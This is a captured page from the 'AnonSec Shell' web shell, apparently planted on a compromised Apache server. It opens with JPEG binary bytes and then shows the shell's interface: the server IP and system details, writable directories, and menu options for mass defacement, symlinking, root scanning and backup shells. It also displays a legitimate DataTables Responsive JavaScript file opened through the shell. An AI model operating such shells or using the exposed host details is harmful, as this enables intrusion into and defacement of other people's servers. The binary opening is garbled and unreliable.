JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/merenda/mnova21/datatables/extensions/Responsive/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/merenda/mnova21/datatables/extensions/Responsive/js/dataTables.responsive.min.js
/*!
 Responsive 1.0.6
 2014-2015 SpryMedia Ltd - datatables.net/license
 */
(function (n, p) {
    var o = function (e, k) {
        var h = function (d, a) {
            if (!k.versionCheck || !k.versionCheck("1.10.1"))throw"DataTables Responsive requires DataTables 1.10.1 or newer";
            this.s = {dt: new k.Api(d), columns: []};
            this.s.dt.settings()[0].responsive || (a && "string" === typeof a.details && (a.details = {type: a.details}), this.c = e.extend(!0, {}, h.defaults, k.defaults.responsive, a), d.responsive = this, this._constructor())
        };
        h.prototype = {
            _constructor: function () {
                var d = this, a = this.s.dt;
                a.settings()[0]._responsive = this;
                e(n).on("resize.dtr orientationchange.dtr",
                    a.settings()[0].oApi._fnThrottle(function () {
                        d._resize()
                    }));
                a.on("destroy.dtr", function () {
                    e(n).off("resize.dtr orientationchange.dtr draw.dtr")
                });
                this.c.breakpoints.sort(function (a, c) {
                    return a.width < c.width ? 1 : a.width > c.width ? -1 : 0
                });
                this._classLogic();
                this._resizeAuto();
                var c = this.c.details;
                c.type && (d._detailsInit(), this._detailsVis(), a.on("column-visibility.dtr", function () {
                    d._detailsVis()
                }), a.on("draw.dtr", function () {
                    a.rows({page: "current"}).iterator("row", function (b, c) {
                        var f = a.row(c);
                        if (f.child.isShown()) {
                            var i =
                                d.c.details.renderer(a, c);
                            f.child(i, "child").show()
                        }
                    })
                }), e(a.table().node()).addClass("dtr-" + c.type));
                this._resize()
            }, _columnsVisiblity: function (d) {
                var a = this.s.dt, c = this.s.columns, b, g, f = e.map(c, function (a) {
                    return a.auto && null === a.minWidth ? !1 : !0 === a.auto ? "-" : -1 !== e.inArray(d, a.includeIn)
                }), i = 0;
                b = 0;
                for (g = f.length; b < g; b++)!0 === f[b] && (i += c[b].minWidth);
                b = a.settings()[0].oScroll;
                b = b.sY || b.sX ? b.iBarWidth : 0;
                a = a.table().container().offsetWidth - b - i;
                b = 0;
                for (g = f.length; b < g; b++)c[b].control && (a -= c[b].minWidth);
                i = !1;
                b = 0;
                for (g = f.length; b < g; b++)"-" === f[b] && !c[b].control && (i || 0 > a - c[b].minWidth ? (i = !0, f[b] = !1) : f[b] = !0, a -= c[b].minWidth);
                a = !1;
                b = 0;
                for (g = c.length; b < g; b++)if (!c[b].control && !c[b].never && !f[b]) {
                    a = !0;
                    break
                }
                b = 0;
                for (g = c.length; b < g; b++)c[b].control && (f[b] = a);
                -1 === e.inArray(!0, f) && (f[0] = !0);
                return f
            }, _classLogic: function () {
                var d = this, a = this.c.breakpoints, c = this.s.dt.columns().eq(0).map(function (a) {
                    a = this.column(a).header().className;
                    return {
                        className: a, includeIn: [], auto: !1, control: !1, never: a.match(/\bnever\b/) ?
                            !0 : !1
                    }
                }), b = function (a, b) {
                    var d = c[a].includeIn;
                    -1 === e.inArray(b, d) && d.push(b)
                }, g = function (f, g, e, j) {
                    if (e)if ("max-" === e) {
                        j = d._find(g).width;
                        g = 0;
                        for (e = a.length; g < e; g++)a[g].width <= j && b(f, a[g].name)
                    } else if ("min-" === e) {
                        j = d._find(g).width;
                        g = 0;
                        for (e = a.length; g < e; g++)a[g].width >= j && b(f, a[g].name)
                    } else {
                        if ("not-" === e) {
                            g = 0;
                            for (e = a.length; g < e; g++)-1 === a[g].name.indexOf(j) && b(f, a[g].name)
                        }
                    } else c[f].includeIn.push(g)
                };
                c.each(function (b, c) {
                    for (var d = b.className.split(" "), j = !1, h = 0, k = d.length; h < k; h++) {
                        var l = e.trim(d[h]);
                        if ("all" === l) {
                            j = !0;
                            b.includeIn = e.map(a, function (a) {
                                return a.name
                            });
                            return
                        }
                        if ("none" === l || "never" === l) {
                            j = !0;
                            return
                        }
                        if ("control" === l) {
                            j = !0;
                            b.control = !0;
                            return
                        }
                        e.each(a, function (a, b) {
                            var d = b.name.split("-"), e = l.match(RegExp("(min\\-|max\\-|not\\-)?(" + d[0] + ")(\\-[_a-zA-Z0-9])?"));
                            e && (j = !0, e[2] === d[0] && e[3] === "-" + d[1] ? g(c, b.name, e[1], e[2] + e[3]) : e[2] === d[0] && !e[3] && g(c, b.name, e[1], e[2]))
                        })
                    }
                    j || (b.auto = !0)
                });
                this.s.columns = c
            }, _detailsInit: function () {
                var d = this, a = this.s.dt, c = this.c.details;
                "inline" === c.type &&
                (c.target = "td:first-child");
                var b = c.target;
                e(a.table().body()).on("click", "string" === typeof b ? b : "td", function () {
                    if (e(a.table().node()).hasClass("collapsed") && a.row(e(this).closest("tr")).length) {
                        if (typeof b === "number") {
                            var c = b < 0 ? a.columns().eq(0).length + b : b;
                            if (a.cell(this).index().column !== c)return
                        }
                        c = a.row(e(this).closest("tr"));
                        if (c.child.isShown()) {
                            c.child(false);
                            e(c.node()).removeClass("parent")
                        } else {
                            var f = d.c.details.renderer(a, c[0]);
                            c.child(f, "child").show();
                            e(c.node()).addClass("parent")
                        }
                    }
                })
            },
            _detailsVis: function () {
                var d = this, a = this.s.dt, c = a.columns().indexes().filter(function (b) {
                    var c = a.column(b);
                    return c.visible() ? null : e(c.header()).hasClass("never") ? null : b
                }), b = !0;
                if (0 === c.length || 1 === c.length && this.s.columns[c[0]].control)b = !1;
                b ? a.rows({page: "current"}).eq(0).each(function (b) {
                    b = a.row(b);
                    if (b.child()) {
                        var c = d.c.details.renderer(a, b[0]);
                        !1 === c ? b.child.hide() : b.child(c, "child").show()
                    }
                }) : a.rows({page: "current"}).eq(0).each(function (b) {
                    a.row(b).child.hide()
                })
            }, _find: function (d) {
                for (var a =
                    this.c.breakpoints, c = 0, b = a.length; c < b; c++)if (a[c].name === d)return a[c]
            }, _resize: function () {
                var d = this.s.dt, a = e(n).width(), c = this.c.breakpoints, b = c[0].name, g = this.s.columns, f;
                for (f = c.length - 1; 0 <= f; f--)if (a <= c[f].width) {
                    b = c[f].name;
                    break
                }
                var i = this._columnsVisiblity(b), c = !1;
                f = 0;
                for (a = g.length; f < a; f++)if (!1 === i[f] && !g[f].never) {
                    c = !0;
                    break
                }
                e(d.table().node()).toggleClass("collapsed", c);
                d.columns().eq(0).each(function (a, b) {
                    d.column(a).visible(i[b])
                })
            }, _resizeAuto: function () {
                var d = this.s.dt, a = this.s.columns;
                if (this.c.auto && -1 !== e.inArray(!0, e.map(a, function (a) {
                        return a.auto
                    }))) {
                    d.table().node();
                    var c = d.table().node().cloneNode(!1), b = e(d.table().header().cloneNode(!1)).appendTo(c), g = e(d.table().body().cloneNode(!1)).appendTo(c);
                    e(d.table().footer()).clone(!1).appendTo(c);
                    d.rows({page: "current"}).indexes().flatten().each(function (a) {
                        var b = d.row(a).node().cloneNode(!0);
                        d.columns(":hidden").flatten().length && e(b).append(d.cells(a, ":hidden").nodes().to$().clone());
                        e(b).appendTo(g)
                    });
                    var f = d.columns().header().to$().clone(!1);
                    e("<tr/>").append(f).appendTo(b);
                    "inline" === this.c.details.type && e(c).addClass("dtr-inline collapsed");
                    c = e("<div/>").css({width: 1, height: 1, overflow: "hidden"}).append(c);
                    c.find("th.never, td.never").remove();
                    c.insertBefore(d.table().node());
                    d.columns().eq(0).each(function (b) {
                        a[b].minWidth = f[b].offsetWidth || 0
                    });
                    c.remove()
                }
            }
        };
        h.breakpoints = [{name: "desktop", width: Infinity}, {name: "tablet-l", width: 1024}, {name: "tablet-p", width: 768}, {name: "mobile-l", width: 480}, {
            name: "mobile-p",
            width: 320
        }];
        h.defaults = {
            breakpoints: h.breakpoints,
            auto: !0, details: {
                renderer: function (d, a) {
                    var c = d.cells(a, ":hidden").eq(0).map(function (a) {
                        var c = e(d.column(a.column).header()), a = d.cell(a).index();
                        if (c.hasClass("control") || c.hasClass("never"))return "";
                        var f = d.settings()[0], f = f.oApi._fnGetCellData(f, a.row, a.column, "display");
                        (c = c.text()) && (c += ":");
                        return '<li data-dtr-index="' + a.column + '"><span class="dtr-title">' + c + '</span> <span class="dtr-data">' + f + "</span></li>"
                    }).toArray().join("");
                    return c ? e('<ul data-dtr-index="' + a + '"/>').append(c) : !1
                }, target: 0,
                type: "inline"
            }
        };
        var m = e.fn.dataTable.Api;
        m.register("responsive()", function () {
            return this
        });
        m.register("responsive.index()", function (d) {
            d = e(d);
            return {column: d.data("dtr-index"), row: d.parent().data("dtr-index")}
        });
        m.register("responsive.rebuild()", function () {
            return this.iterator("table", function (d) {
                d._responsive && d._responsive._classLogic()
            })
        });
        m.register("responsive.recalc()", function () {
            return this.iterator("table", function (d) {
                d._responsive && (d._responsive._resizeAuto(), d._responsive._resize())
            })
        });
        h.version = "1.0.6";
        e.fn.dataTable.Responsive = h;
        e.fn.DataTable.Responsive = h;
        e(p).on("init.dt.dtr", function (d, a) {
            if ("dt" === d.namespace && (e(a.nTable).hasClass("responsive") || e(a.nTable).hasClass("dt-responsive") || a.oInit.responsive || k.defaults.responsive)) {
                var c = a.oInit.responsive;
                !1 !== c && new h(a, e.isPlainObject(c) ? c : {})
            }
        });
        return h
    };
    "function" === typeof define && define.amd ? define(["jquery", "datatables"], o) : "object" === typeof exports ? o(require("jquery"), require("datatables")) : jQuery && !jQuery.fn.dataTable.Responsive &&
    o(jQuery, jQuery.fn.dataTable)
})(window, document);

Anon7 - 2022
AnonSec Team